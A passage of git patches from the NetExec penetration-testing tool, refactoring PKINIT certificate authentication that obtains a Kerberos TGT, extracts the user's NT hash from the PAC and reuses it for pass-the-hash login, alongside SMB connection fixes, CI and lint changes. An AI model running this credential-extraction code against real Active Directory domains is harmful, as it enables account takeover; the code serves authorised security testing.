sem: - # Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason - dhparams = { - "p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16), - "g": 2 - } - self.logger.info("Loading certificate and key from file") - - # Load the certificate and key from file - if self.args.pfx_cert or self.args.pfx_base64: - pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64 - ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64)) - elif self.args.cert_pem and self.args.key_pem: - ini = myPKINIT.from_pem(self.args.cert_pem, self.args.key_pem, dhparams) - else: - self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file") - return None - - username = self.args.username[0] - log_ccache = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-")) - - # Request a TGT with the cert data - req = ini.build_asreq(self.domain, username) - self.logger.info("Requesting TGT") - - sock = KerberosClientSocket(KerberosTarget(self.host)) - try: - res = sock.sendrecv(req) - except Exception as e: - self.logger.fail(str(e)) - return False - - encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native) - ccache_minikerberos = CCACHE() - ccache_minikerberos.add_tgt(res.native, encasrep) - ccache_minikerberos.to_file(log_ccache) - self.logger.info(f"Saved TGT to file { log_ccache }") - self.logger.info(f"Using Kerberos Cache { log_ccache }") - ccache = CCache.loadFile(log_ccache) - principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}" - creds = ccache.getCredential(principal) - if creds is not None: - tgt = creds.toTGT() - dumper = GETPAC(username, self.domain, self.host, key, tgt) - nthash = dumper.dump() - if not self.kerberos: - self.hash_login(self.domain, username, nthash) - else: - self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False) - - self.logger.info("Successfully authenticated using Certificate") - return True + return pfx_auth(self) if hasattr(self.args, "laps") and self.args.laps: self.logger.debug("Trying to authenticate using LAPS") diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index e8c3065a..858689f5 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -26,6 +26,7 @@ # Dirk-jan Mollema (@_dirkjan) # +import os import secrets import hashlib import datetime @@ -61,6 +62,14 @@ from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \ PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL from impacket.krb5.types import Principal, KerberosTime, Ticket +# Imports for pfx_auth +from minikerberos.network.clientsocket import KerberosClientSocket +from minikerberos.common.target import KerberosTarget +from minikerberos.common.ccache import CCACHE + +from impacket.krb5.ccache import CCache + + class myPKINIT(PKINIT): """ Copy of minikerberos PKINIT @@ -475,4 +484,59 @@ class GETPAC: # S4USelf + U2U uses this other key plainText = cipher.decrypt(sessionKey, 2, cipherText) specialkey = Key(18, unhexlify(self.__asrep_key)) - return self.printPac(plainText, specialkey) \ No newline at end of file + return self.printPac(plainText, specialkey) + + +def pfx_auth(self): + """Handles the authentication using a PFX or PEM file""" + # Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason + dhparams = { + "p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16), + "g": 2 + } + self.logger.info("Loading certificate and key from file") + + # Load the certificate and key from file + if self.args.pfx_cert or self.args.pfx_base64: + pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64 + ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64)) + elif self.args.cert_pem and self.args.key_pem: + ini = myPKINIT.from_pem(self.args.cert_pem, self.args.key_pem, dhparams) + else: + self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file") + return None + + username = self.args.username[0] + log_ccache = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-")) + + # Request a TGT with the cert data + req = ini.build_asreq(self.domain, username) + self.logger.info("Requesting TGT") + + sock = KerberosClientSocket(KerberosTarget(self.host)) + try: + res = sock.sendrecv(req) + except Exception as e: + self.logger.fail(str(e)) + return False + + encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native) + ccache_minikerberos = CCACHE() + ccache_minikerberos.add_tgt(res.native, encasrep) + ccache_minikerberos.to_file(log_ccache) + self.logger.info(f"Saved TGT to file { log_ccache }") + self.logger.info(f"Using Kerberos Cache { log_ccache }") + ccache = CCache.loadFile(log_ccache) + principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}" + creds = ccache.getCredential(principal) + if creds is not None: + tgt = creds.toTGT() + dumper = GETPAC(username, self.domain, self.host, key, tgt) + nthash = dumper.dump() + if not self.kerberos: + self.hash_login(self.domain, username, nthash) + else: + self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False) + + self.logger.info("Successfully authenticated using Certificate") + return True \ No newline at end of file From 28bc001b46c4af8d18fef6090480056c2163023d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 4 Jan 2025 14:51:21 -0500 Subject: [PATCH 185/376] Formating --- nxc/helpers/pfx.py | 22 ++++++++-------------- 1 file changed, 8 insertions(+), 14 deletions(-) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index 858689f5..ced55de2 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -67,7 +67,7 @@ from minikerberos.network.clientsocket import KerberosClientSocket from minikerberos.common.target import KerberosTarget from minikerberos.common.ccache import CCACHE -from impacket.krb5.ccache import CCache +from impacket.krb5.ccache import CCache as impacket_CCache class myPKINIT(PKINIT): @@ -164,7 +164,6 @@ class myPKINIT(PKINIT): kdc_req_body_data["etype"] = [18, 17] # 23 breaks... kdc_req_body = KDC_REQ_BODY(kdc_req_body_data) - checksum = hashlib.sha1(kdc_req_body.dump()).digest() authenticator = {} @@ -173,7 +172,6 @@ class myPKINIT(PKINIT): authenticator["nonce"] = secrets.randbits(31) authenticator["paChecksum"] = checksum - dp = {} dp["p"] = self.diffie.p dp["g"] = self.diffie.g @@ -187,7 +185,6 @@ class myPKINIT(PKINIT): spki["algorithm"] = keys.PublicKeyAlgorithm(pka) spki["public_key"] = self.diffie.get_public_key() - authpack = {} authpack["pkAuthenticator"] = PKAuthenticator(authenticator) authpack["clientPublicValue"] = keys.PublicKeyInfo(spki) @@ -233,7 +230,6 @@ class myPKINIT(PKINIT): "serial_number": self.certificate.serial_number, }) - si["digest_algorithm"] = algos.DigestAlgorithm(da) si["signed_attrs"] = [ cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed ) @@ -304,7 +300,6 @@ class myPKINIT(PKINIT): elif etype == Enctype.RC4: raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES") - key = Key(cipher.enctype, t_key) enc_data = as_rep["enc-part"]["cipher"] logging.info("AS-REP encryption key (you might need this later):") @@ -355,7 +350,7 @@ class GETPAC: nthash = hexlify(credstruct["NtPassword"]).decode("utf-8") buff = buff[len(infoBuffer):] - + if not found: logging.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?") return nthash @@ -451,7 +446,7 @@ class GETPAC: reqBody["till"] = KerberosTime.to_asn1(now) reqBody["nonce"] = random.getrandbits(31) seq_set_iter(reqBody, "etype", - (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) + (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, "additional-tickets", (myTicket,)) @@ -480,12 +475,11 @@ class GETPAC: # application session key), encrypted with the service key # (section 5.4.2) - # S4USelf + U2U uses this other key plainText = cipher.decrypt(sessionKey, 2, cipherText) specialkey = Key(18, unhexlify(self.__asrep_key)) return self.printPac(plainText, specialkey) - + def pfx_auth(self): """Handles the authentication using a PFX or PEM file""" @@ -524,9 +518,9 @@ def pfx_auth(self): ccache_minikerberos = CCACHE() ccache_minikerberos.add_tgt(res.native, encasrep) ccache_minikerberos.to_file(log_ccache) - self.logger.info(f"Saved TGT to file { log_ccache }") - self.logger.info(f"Using Kerberos Cache { log_ccache }") - ccache = CCache.loadFile(log_ccache) + self.logger.info(f"Saved TGT to file {log_ccache}") + self.logger.info(f"Using Kerberos Cache {log_ccache}") + ccache = impacket_CCache.loadFile(log_ccache) principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}" creds = ccache.getCredential(principal) if creds is not None: @@ -539,4 +533,4 @@ def pfx_auth(self): self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False) self.logger.info("Successfully authenticated using Certificate") - return True \ No newline at end of file + return True From 5f87918e5feb8dda328e1ff1031fa6b0ca3ce1fa Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 4 Jan 2025 14:52:38 -0500 Subject: [PATCH 186/376] Use NXC_PATH instead of hardcoded path --- nxc/helpers/pfx.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index ced55de2..4ec97496 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -69,6 +69,8 @@ from minikerberos.common.ccache import CCACHE from impacket.krb5.ccache import CCache as impacket_CCache +from nxc.paths import NXC_PATH + class myPKINIT(PKINIT): """ @@ -501,7 +503,7 @@ def pfx_auth(self): return None username = self.args.username[0] - log_ccache = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-")) + log_ccache = os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-")) # Request a TGT with the cert data req = ini.build_asreq(self.domain, username) From e7443054275123135c0f0a3ac6fe3b786774e442 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sun, 5 Jan 2025 02:28:00 +0100 Subject: [PATCH 187/376] switch default conn from smbv1 to smbv3 --- nxc/protocols/smb.py | 34 ++++++++++++++++++++-------------- 1 file changed, 20 insertions(+), 14 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index bb3cba17..5a4942fe 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -157,6 +157,7 @@ class smb(connection): self.bootkey = None self.output_filename = None self.smbv1 = None + self.smbv3 = None self.is_timeouted = False self.signing = False self.smb_share_name = smb_share_name @@ -295,6 +296,10 @@ class smb(connection): except Exception as e: self.logger.debug(f"Error logging off system: {e}") + # Check smbv1 + if not self.args.no_smbv1: + self.smbv1 = self.create_smbv1_conn(check=True) + # DCOM connection with kerberos needed self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}" @@ -538,10 +543,10 @@ class smb(connection): self.create_conn_obj() return False - def create_smbv1_conn(self): - self.logger.debug(f"Creating SMBv1 connection to {self.host}") + def create_smbv1_conn(self, check=False): + self.logger.info(f"Creating SMBv1 connection to {self.host}") try: - self.conn = SMBConnection( + conn = SMBConnection( self.remoteName, self.host, None, @@ -549,6 +554,8 @@ class smb(connection): preferredDialect=SMB_DIALECT, timeout=self.args.smb_timeout, ) + if check: + self.conn = conn except OSError as e: if "Connection reset by peer" in str(e): self.logger.info(f"SMBv1 might be disabled on {self.host}") @@ -567,7 +574,7 @@ class smb(connection): return True def create_smbv3_conn(self): - self.logger.debug(f"Creating SMBv3 connection to {self.host}") + self.logger.info(f"Creating SMBv3 connection to {self.host}") try: self.conn = SMBConnection( self.remoteName, @@ -581,27 +588,26 @@ class smb(connection): return False return True - def create_conn_obj(self, no_smbv1=False): + def create_conn_obj(self): """ Tries to create a connection object to the target host. - On first try, it will try to create a SMBv1 connection. + On first try, it will try to create a SMBv3 connection. On further tries, it will remember which SMB version is supported and create a connection object accordingly. :param no_smbv1: If True, it will not try to create a SMBv1 connection """ - no_smbv1 = self.args.no_smbv1 if self.args.no_smbv1 else no_smbv1 # Initial negotiation - if not no_smbv1 and self.smbv1 is None: - self.smbv1 = self.create_smbv1_conn() - if self.smbv1: + if self.smbv3 is None: + self.smbv3 = self.create_smbv3_conn() + if self.smbv3: return True elif not self.is_timeouted: - return self.create_smbv3_conn() - elif not no_smbv1 and self.smbv1: - return self.create_smbv1_conn() - else: + return self.create_smbv1_conn() + elif self.smbv3: return self.create_smbv3_conn() + else: + return self.create_smbv1_conn() def check_if_admin(self): self.logger.debug(f"Checking if user is admin on {self.host}") From c8160b6fe52a8d603c131654f97924a3e5b4a642 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sun, 5 Jan 2025 02:32:37 +0100 Subject: [PATCH 188/376] fix ruff --- nxc/protocols/smb.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 5a4942fe..4b29341e 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -596,7 +596,6 @@ class smb(connection): :param no_smbv1: If True, it will not try to create a SMBv1 connection """ - # Initial negotiation if self.smbv3 is None: self.smbv3 = self.create_smbv3_conn() From 0cbd63aa2584d2bfae7ef8f5332322cb142a7ba3 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 6 Jan 2025 09:24:49 +0100 Subject: [PATCH 189/376] try to fix test --- nxc/protocols/ldap.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 4c521554..908a6971 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -205,6 +205,9 @@ class ldap(connection): except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.info(f"Skipping item, cannot process due to error {e}") + except ConnectionRefusedError as e: + self.logger.debug(f"{e} on host {self.host}") + return False except OSError as e: self.logger.error(f"Error getting ldap info {e}") From a4286ee3ab4ea80f274a10ea76954841d90da86c Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 6 Jan 2025 09:54:42 +0100 Subject: [PATCH 190/376] allow test to be run manually --- .github/workflows/test.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 131a7e8f..0682ccd7 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -8,7 +8,7 @@ on: jobs: build: name: Test for Py${{ matrix.python-version }} - if: github.event.review.state == 'APPROVED' + if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch' runs-on: ${{ matrix.os }} strategy: max-parallel: 5 From cca63a2e76a0511f05cbdea115f5115ab74960ba Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 6 Jan 2025 10:36:52 +0100 Subject: [PATCH 191/376] force poetry to 1.8 in github action --- .github/workflows/test.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 0682ccd7..fb85ab46 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -19,7 +19,7 @@ jobs: - uses: actions/checkout@v4 - name: Install poetry run: | - pipx install poetry + pipx install poetry==1.8.4 - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }} uses: actions/setup-python@v5 with: From 3904dcd0633af5e3445ba8f630c39db24f1ae59e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 6 Jan 2025 07:45:59 -0500 Subject: [PATCH 192/376] Update license file --- LICENSE | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/LICENSE b/LICENSE index 07c28cf6..0447e3d2 100755 --- a/LICENSE +++ b/LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64 +Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64 Copyright (c) 2022, byt3bl33d3r All rights reserved. From 36eedde236c485ffbff6e60390c4b945aad10654 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 6 Jan 2025 07:46:09 -0500 Subject: [PATCH 193/376] Update linting to py3.10 --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 54a027f0..f53cf95a 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -126,7 +126,7 @@ line-length = 65000 # Allow unused variables when underscore-prefixed. dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" -target-version = "py37" +target-version = "py310" [tool.ruff.flake8-quotes] docstring-quotes = "double" From 5aca57804c50f01c831a1e31d9b0797233e2e515 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 6 Jan 2025 07:46:14 -0500 Subject: [PATCH 194/376] Lint --- nxc/modules/wcc.py | 2 +- nxc/modules/winscp.py | 3 +-- nxc/nxcdb.py | 2 +- nxc/protocols/ldap.py | 2 +- nxc/protocols/mssql/database.py | 2 +- nxc/protocols/nfs.py | 4 ++-- nxc/protocols/smb/database.py | 15 +++++++-------- nxc/protocols/smb/samrfunc.py | 2 +- nxc/protocols/ssh/database.py | 2 +- nxc/protocols/winrm/database.py | 2 +- 10 files changed, 17 insertions(+), 19 deletions(-) diff --git a/nxc/modules/wcc.py b/nxc/modules/wcc.py index 52f516b9..fd2f7d1c 100644 --- a/nxc/modules/wcc.py +++ b/nxc/modules/wcc.py @@ -54,7 +54,7 @@ class ConfigCheck: self.reasons = [] def run(self): - for checker, args, kwargs in zip(self.checkers, self.checker_args, self.checker_kwargs): + for checker, args, kwargs in zip(self.checkers, self.checker_args, self.checker_kwargs, strict=True): if checker is None: checker = HostChecker.check_registry diff --git a/nxc/modules/winscp.py b/nxc/modules/winscp.py index 3770f000..15afb971 100644 --- a/nxc/modules/winscp.py +++ b/nxc/modules/winscp.py @@ -5,7 +5,6 @@ # - https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/winscp.rb import traceback -from typing import Tuple from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations @@ -98,7 +97,7 @@ class NXCModule: clearpass = clearpass[len(key):] return clearpass - def dec_next_char(self, pass_bytes) -> "Tuple[int, bytes]": + def dec_next_char(self, pass_bytes) -> tuple[int, bytes]: """ Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes. diff --git a/nxc/nxcdb.py b/nxc/nxcdb.py index 7ae45479..4ebe1f8c 100644 --- a/nxc/nxcdb.py +++ b/nxc/nxcdb.py @@ -153,7 +153,7 @@ class DatabaseNavigator(cmd.Cmd): if cred[4] == "hash": usernames.append(cred[2]) passwords.append(cred[3]) - output_list = [":".join(combination) for combination in zip(usernames, passwords)] + output_list = [":".join(combination) for combination in zip(usernames, passwords, strict=True)] write_list(filename, output_list) else: print(f"[-] No such export option: {line[1]}") diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 4c521554..4c4fced8 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1114,7 +1114,7 @@ class ldap(connection): rbcdRights.append(str(rbcd.get("sAMAccountName"))) rbcdObjType.append(str(rbcd.get("objectCategory"))) - for rights, objType in zip(rbcdRights, rbcdObjType): + for rights, objType in zip(rbcdRights, rbcdObjType, strict=True): answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"]: diff --git a/nxc/protocols/mssql/database.py b/nxc/protocols/mssql/database.py index 9b6edf85..94ba5e3e 100755 --- a/nxc/protocols/mssql/database.py +++ b/nxc/protocols/mssql/database.py @@ -189,7 +189,7 @@ class database(BaseDB): nxc_logger.debug(f"Hosts: {hosts}") if users is not None and hosts is not None: - for user, host in zip(users, hosts): + for user, host in zip(users, hosts, strict=True): user_id = user[0] host_id = host[0] link = {"userid": user_id, "hostid": host_id} diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index ccaceba4..bd1456c2 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -167,7 +167,7 @@ class nfs(connection): # Mount shares and check permissions self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'Storage Usage':<17}{'Share':<30} {'Access List':<15}") self.logger.highlight(f"{'---':<11}{'-----':<9}{'-------------':<17}{'-----':<30} {'-----------':<15}") - for share, network in zip(shares, networks): + for share, network in zip(shares, networks, strict=True): try: mnt_info = self.mount.mnt(share, self.auth) self.logger.debug(f"Mounted {share} - {mnt_info}") @@ -225,7 +225,7 @@ class nfs(connection): networks = self.export_info(self.mount.export()) self.logger.display("Enumerating NFS Shares Directories") - for share, network in zip(shares, networks): + for share, network in zip(shares, networks, strict=True): try: mount_info = self.mount.mnt(share, self.auth) self.logger.debug(f"Mounted {share} - {mount_info}") diff --git a/nxc/protocols/smb/database.py b/nxc/protocols/smb/database.py index b21fa675..91cbf918 100755 --- a/nxc/protocols/smb/database.py +++ b/nxc/protocols/smb/database.py @@ -2,7 +2,6 @@ import base64 import sys import warnings from datetime import datetime -from typing import Optional from sqlalchemy import func, Table, select, delete from sqlalchemy.dialects.sqlite import Insert # used for upsert @@ -350,7 +349,7 @@ class database(BaseDB): hosts = self.get_hosts(host) if users and hosts: - for user, host in zip(users, hosts): + for user, host in zip(users, hosts, strict=True): user_id = user[0] host_id = host[0] link = {"userid": user_id, "hostid": host_id} @@ -693,7 +692,7 @@ class database(BaseDB): except Exception as e: nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}") - def get_domain_backupkey(self, domain: Optional[str] = None): + def get_domain_backupkey(self, domain: str | None = None): """ Get domain backupkey :domain is the domain fqdn @@ -748,11 +747,11 @@ class database(BaseDB): def get_dpapi_secrets( self, filter_term=None, - host: Optional[str] = None, - dpapi_type: Optional[str] = None, - windows_user: Optional[str] = None, - username: Optional[str] = None, - url: Optional[str] = None, + host: str | None = None, + dpapi_type: str | None = None, + windows_user: str | None = None, + username: str | None = None, + url: str | None = None, ): """Get dpapi secrets from nxcdb""" q = select(self.DpapiSecrets) diff --git a/nxc/protocols/smb/samrfunc.py b/nxc/protocols/smb/samrfunc.py index b970a62f..ef849be5 100644 --- a/nxc/protocols/smb/samrfunc.py +++ b/nxc/protocols/smb/samrfunc.py @@ -77,7 +77,7 @@ class SamrFunc: member_sids = self.samr_query.get_alias_members(domain_handle, self.groups["Administrators"]) member_names = self.lsa_query.lookup_sids(member_sids) - for sid, name in zip(member_sids, member_names): + for sid, name in zip(member_sids, member_names, strict=True): print(f"{name} - {sid}") diff --git a/nxc/protocols/ssh/database.py b/nxc/protocols/ssh/database.py index e94704be..88aa6e27 100644 --- a/nxc/protocols/ssh/database.py +++ b/nxc/protocols/ssh/database.py @@ -256,7 +256,7 @@ class database(BaseDB): hosts = self.get_hosts(host_id) if creds and hosts: - for cred, host in zip(creds, hosts): + for cred, host in zip(creds, hosts, strict=True): cred_id = cred[0] host_id = host[0] link = {"credid": cred_id, "hostid": host_id} diff --git a/nxc/protocols/winrm/database.py b/nxc/protocols/winrm/database.py index ffb00a09..fdc09c08 100644 --- a/nxc/protocols/winrm/database.py +++ b/nxc/protocols/winrm/database.py @@ -213,7 +213,7 @@ class database(BaseDB): hosts = self.get_hosts(host) if users and hosts: - for user, host in zip(users, hosts): + for user, host in zip(users, hosts, strict=True): user_id = user[0] host_id = host[0] link = {"userid": user_id, "hostid": host_id} From 33ecfb19655e6eb1a5350d57a8fea0bdc7d43c3f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 6 Jan 2025 08:43:22 -0500 Subject: [PATCH 195/376] Remove old smbv1 check --- nxc/modules/enum_av.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/nxc/modules/enum_av.py b/nxc/modules/enum_av.py index 5946bd15..8a742556 100644 --- a/nxc/modules/enum_av.py +++ b/nxc/modules/enum_av.py @@ -84,10 +84,7 @@ class NXCModule: prod_results = results.setdefault(product["name"], {}) prod_results.setdefault("pipes", []).append(pipe) except Exception as e: - if "STATUS_ACCESS_DENIED" in str(e): - context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1") - else: - context.log.fail(str(e)) + context.log.fail(str(e)) def dump_results(self, results, context): if not results: From 0236ef78776e110cab2f1ce04fb1882b040ee6c4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 6 Jan 2025 08:43:49 -0500 Subject: [PATCH 196/376] Fix logic bug when creating smbv1 connection and add timeout check for smbv3 --- nxc/protocols/smb.py | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 4b29341e..924d72db 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -156,8 +156,8 @@ class smb(connection): self.remote_ops = None self.bootkey = None self.output_filename = None - self.smbv1 = None - self.smbv3 = None + self.smbv1 = None # Check if SMBv1 is supported + self.smbv3 = None # Check if SMBv3 is supported self.is_timeouted = False self.signing = False self.smb_share_name = smb_share_name @@ -554,7 +554,8 @@ class smb(connection): preferredDialect=SMB_DIALECT, timeout=self.args.smb_timeout, ) - if check: + self.smbv1 = True + if not check: self.conn = conn except OSError as e: if "Connection reset by peer" in str(e): @@ -583,8 +584,13 @@ class smb(connection): self.port, timeout=self.args.smb_timeout, ) + self.smbv3 = True except (Exception, NetBIOSTimeout, OSError) as e: - self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}") + if "timed out" in str(e): + self.is_timeouted = True + self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}") + else: + self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}") return False return True From 905f63677c64ab615cd147431beea2d06fd6c947 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 7 Jan 2025 16:05:12 +0100 Subject: [PATCH 197/376] fix pfx auth on non dc --- nxc/helpers/pfx.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index 4ec97496..4ad9dd7d 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -509,7 +509,7 @@ def pfx_auth(self): req = ini.build_asreq(self.domain, username) self.logger.info("Requesting TGT") - sock = KerberosClientSocket(KerberosTarget(self.host)) + sock = KerberosClientSocket(KerberosTarget(self.domain)) try: res = sock.sendrecv(req) except Exception as e: @@ -527,7 +527,7 @@ def pfx_auth(self): creds = ccache.getCredential(principal) if creds is not None: tgt = creds.toTGT() - dumper = GETPAC(username, self.domain, self.host, key, tgt) + dumper = GETPAC(username, self.domain, self.domain, key, tgt) nthash = dumper.dump() if not self.kerberos: self.hash_login(self.domain, username, nthash) From 26e4ce4b11079132d3854110d17d70bf9375af39 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 7 Jan 2025 16:10:25 +0100 Subject: [PATCH 198/376] use kdchost --- nxc/helpers/pfx.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index 4ad9dd7d..0275aa23 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -527,7 +527,7 @@ def pfx_auth(self): creds = ccache.getCredential(principal) if creds is not None: tgt = creds.toTGT() - dumper = GETPAC(username, self.domain, self.domain, key, tgt) + dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt) nthash = dumper.dump() if not self.kerberos: self.hash_login(self.domain, username, nthash) From 4a3f3e3120cd8600da4ac9f095d4a98feca00b6c Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 7 Jan 2025 16:15:08 +0100 Subject: [PATCH 199/376] use kdchost --- nxc/helpers/pfx.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index 0275aa23..4d084468 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -509,7 +509,7 @@ def pfx_auth(self): req = ini.build_asreq(self.domain, username) self.logger.info("Requesting TGT") - sock = KerberosClientSocket(KerberosTarget(self.domain)) + sock = KerberosClientSocket(KerberosTarget(self.kdcHost)) try: res = sock.sendrecv(req) except Exception as e: From 923fc4625fec8dd91f49baf7056e3c0b3b2abe6a Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 20:09:23 +0100 Subject: [PATCH 200/376] add backup_operator module --- nxc/modules/backup_operator.py | 141 +++++++++++++++++++++++++++++++++ 1 file changed, 141 insertions(+) create mode 100644 